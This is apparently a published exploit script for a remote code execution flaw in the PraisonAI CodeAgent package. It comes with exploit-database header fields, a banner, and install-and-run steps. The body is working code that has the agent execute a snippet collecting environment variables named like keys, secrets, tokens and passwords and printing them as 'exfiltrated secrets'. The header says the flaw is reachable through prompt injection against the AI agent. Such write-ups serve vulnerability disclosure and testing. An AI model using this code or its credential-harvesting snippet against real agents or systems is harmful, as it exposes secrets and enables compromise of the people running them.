PraisonAI praisonaiagents 1.6.77 - Remote Code Execution

#!/usr/bin/env python3
# Exploit Title:         PraisonAI CodeAgent 1.6.77 - Remote Code Execution
# CVE:                   CVE-2026-61447
# Date:                  2026-07-13
# Exploit Author:        Mohammed Idrees Banyamer
# Author Country:        Jordan
# Instagram:             @banyamer_security
# Author GitHub:         https://github.com/mbanyamer
# Author Blog  :         https://banyamersecurity.com/blog/
# Vendor Homepage:       https://github.com/MervinPraison/PraisonAI
# Software Link:         https://pypi.org/project/praisonaiagents/
# Affected:              praisonaiagents <= 1.6.77
# Tested on:             praisonaiagents 1.6.77
# Category:              Remote Code Execution
# Platform:              Linux / Windows / macOS
# Exploit Type:          Python Script
# CVSS:                  10.0 (Critical)
# Description:           The CodeAgent._execute_python() in PraisonAI executes LLM-generated code without sandboxing, AST validation, or import restrictions. This allows full environment secret exfiltration and arbitrary code execution via prompt injection.
# Fixed in:              praisonaiagents >= 1.6.78
# Usage:
#   python3 exploit.py
#
# Examples:
#   python3 exploit.py
#
# Options:
#   --
#
# Notes:
#   • Requires the vulnerable praisonaiagents package installed.
#   • Demonstrates direct RCE and secret leakage.
#
# How to Use
#
# Step 1:
#   pip install praisonaiagents==1.6.77
#
# Step 2:
#   python3 exploit.py

def banner():
    print(r"""
╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ██████╔╝
║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
        ╔═╗ Banyamer Security ╔═╗
""")

banner()

from praisonaiagents.agent.code_agent import CodeAgent
import json

agent = CodeAgent(name="poc-agent")

malicious_code = """
import os
import json
secrets = {k: v for k, v in os.environ.items()
           if any(keyword in k.upper() for keyword in
                  ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'CREDENTIAL', 'API', 'AUTH'])}
print("=== EXFILTRATED SECRETS ===")
print(json.dumps(secrets, indent=2))
"""

print("Executing malicious LLM-generated code...")
result = agent.execute(malicious_code)

print("\n=== Execution Result ===")
print("STDOUT:", result.get('stdout', ''))
print("STDERR:", result.get('stderr', ''))
print("Return Code:", result.get('returncode', ''))